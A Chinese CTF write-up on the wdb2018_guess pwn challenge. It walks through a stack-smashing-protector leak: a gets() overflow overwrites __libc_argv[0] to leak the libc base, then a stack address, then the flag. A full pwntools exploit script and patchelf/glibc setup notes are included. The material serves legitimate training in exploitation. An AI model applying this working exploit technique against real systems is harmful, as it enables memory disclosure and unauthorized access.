【PWN】刷题记录-Canary smashes

admin 2024年2月15日18:39:51评论10 views字数 4284阅读14分16秒阅读模式

这种题型的题目一般不难,如果题目分析发现flag被读入到内存中,且有个不限制读入长度的栈溢出,就可以考虑一下利用该方法。

另外,在本地调试这种题目的时候通常需要使用工具例如patchelf来修改二进制文件依赖的链接库版本,这个在文中也会介绍。

题目链接:

/# 题目https://buuoj.cn/challenges#wdb2018_guess# libchttps://github.com/bash-c/pwn_repo/blob/871b9ed5a7e0152b70964f2d55e511bb80a76377/WDB/WDB2018_guess/libc.so.6

这道2018强网杯题目很经典,考察了stack smashes的相关内容。

先用checksec检查一下:

【PWN】刷题记录-Canary smashes

保护开启了canary和NX。

直接拖入IDA pro分析。

【PWN】刷题记录-Canary smashes

程序首先从./flag.txt中读入了flag到栈上的buf中,然后给了三次机会猜flag的值,获取用户输入的时候使用的函数为gets(),存在栈溢出漏洞。

由于buu上题目简介内写明了ubuntu16的环境,满足stack smashes的利用条件,建议在开始调试这题之前拉到最下面看一下【本地调试】部分的内容。

先使用pwndbg调试一下程序,找到__libc_argv[0]和s2的偏移。

【PWN】刷题记录-Canary smashes

在执行gets函数之前,可以看到rdi指向0x7fffffffdd80的地址。

可以通过`p &__libc_argv[0]`来查看__libc_argv[0](即存储当前文件名的地方)的地址。

【PWN】刷题记录-Canary smashes

计算得到偏移为0x128

【PWN】刷题记录-Canary smashes

题目给了3次可以泄露地址的机会,可以先leak出puts函数在内存中的地址,可以得到libc的基地址。然后leak出_environ的地址上的值,这个值通常指向栈上的某个地址。最后计算_environ地址上的值对于flag的偏移,进行第三次leak。

第一次leak:

offset = 0x128puts_got = elf.got["puts"]# leak libcpayload = b"a"*offset + p64(puts_got)p.sendlineafter(b"Please type your guessing flagn", payload)p.recvuntil(b"*** stack smashing detected ***: ")puts_addr = u64(p.recv(6).ljust(0x8, b"x00"))leak("libc", puts_addr)libc.address = puts_addr - libc.sym["puts"]log.success("libc baseaddr: {}".format(hex(libc.address)))

其中leak函数的定义为:

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

第二次leak:

# leak stackenviron_addr = libc.sym["_environ"]payload = b"a"*offset + p64(environ_addr)p.sendlineafter(b"Please type your guessing flagn", payload)p.recvuntil(b"*** stack smashing detected ***: ")stack_addr = u64(p.recv(6).ljust(0x8, b"x00"))leak("stack_environ", stack_addr)

第三次leak:

这里先不给出payload,计算一下_environ地址上的值对于flag的偏移值。

【PWN】刷题记录-Canary smashes

这里得到_environ指向的地址为0x7ffda45141c8。

【PWN】刷题记录-Canary smashes

flag的地址为:0x7ffda4514060。计算偏移为0x168个字节。

故第三次leak的代码为:

payload = b"a"*offset + p64(stack_addr - 0x168)p.sendlineafter(b"Please type your guessing flagn", payload)p.recvuntil(b"*** stack smashing detected ***: ")flag = p.recvuntil(b"}").decode()log.success("flag: {}".format(flag))

【完整的payload】

from pwn import *context(arch='amd64', os='linux')leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))p = process("./GUESS")# p = gdb.debug("./GUESS", "set follow-fork-mode parentnb *0x0400B12")# p = remote("node4.buuoj.cn", 28005)elf = ELF("./GUESS")libc = ELF("../so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")     # local# libc = ELF("./libc.so.6")                                                 # remoteoffset = 0x128puts_got = elf.got["puts"]# leak libcpayload = b"a"*offset + p64(puts_got)p.sendlineafter(b"Please type your guessing flagn", payload)p.recvuntil(b"*** stack smashing detected ***: ")puts_addr = u64(p.recv(6).ljust(0x8, b"x00"))leak("libc", puts_addr)# leak stacklibc.address = puts_addr - libc.sym["puts"]log.success("libc baseaddr: {}".format(hex(libc.address)))environ_addr = libc.sym["_environ"]payload = b"a"*offset + p64(environ_addr)p.sendlineafter(b"Please type your guessing flagn", payload)p.recvuntil(b"*** stack smashing detected ***: ")stack_addr = u64(p.recv(6).ljust(0x8, b"x00"))leak("stack_environ", stack_addr)pause()# leak flagpayload = b"a"*offset + p64(stack_addr - 0x168)p.sendlineafter(b"Please type your guessing flagn", payload)p.recvuntil(b"*** stack smashing detected ***: ")flag = p.recvuntil(b"}").decode()log.success("flag: {}".format(flag))p.interactive()

【本地调试】

1、glibc-all-in-one

主要是搜索各种glibc的版本,并下载到libs文件夹内。

下载安装:

# 从gitee上下载,git上没有科学上网太慢了()git clone https://gitee.com/bhxdn/glibc-all-in-one.git# 安装cd glibc-all-in-one/# 更新现有的glibc列表sudo python3 update_list# 查看当前的list列表cat list

我的虚拟机为22.04,默认的glibc版本已经不适用stack smashes的利用条件了,故这边使用glibc-all-in-one来下载ubuntu16所使用的glibc2.23。

【PWN】刷题记录-Canary smashes

下载2.23-0ubuntu3_amd64:

./download 2.23-0ubuntu3_amd64

下载完会发现当前目录多了个libs文件夹,储存下载的内容。

【PWN】刷题记录-Canary smashes

2、patchelf

这个工具是用来修改二进制文件动态链接库的版本的,如果不想单独开一个ubuntu16的虚拟机来调试题目,这个工具是个很好的选择。

gitee下载地址:

https://gitee.com/guardianangel/patchelf.git

安装过程可以查看以下链接,讲的很详细。

https://blog.csdn.net/juluwangriyue/article/details/108617283

根据1、glibc-all-in-one,我的ld-linux-x86-64.so.2和libc.so.6路径分别为,如下图。

/home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2/home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6

【PWN】刷题记录-Canary smashes

使用patchelf将二进制文件GUESS的动态链接进行修改。

patchelf --set-interpreter /home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 ./GUESSpatchelf --add-needed /home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 ./GUESS# 如果提示没有libpthread.so.0则再加一条patchelf --add-needed /home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libpthread.so.0 ./GUESS

原文始发于微信公众号(Stack0verf1ow):【PWN】刷题记录-Canary smashes

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日18:39:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】刷题记录-Canary smasheshttps://cn-sec.com/archives/2217994.html

发表评论

匿名网友 填写信息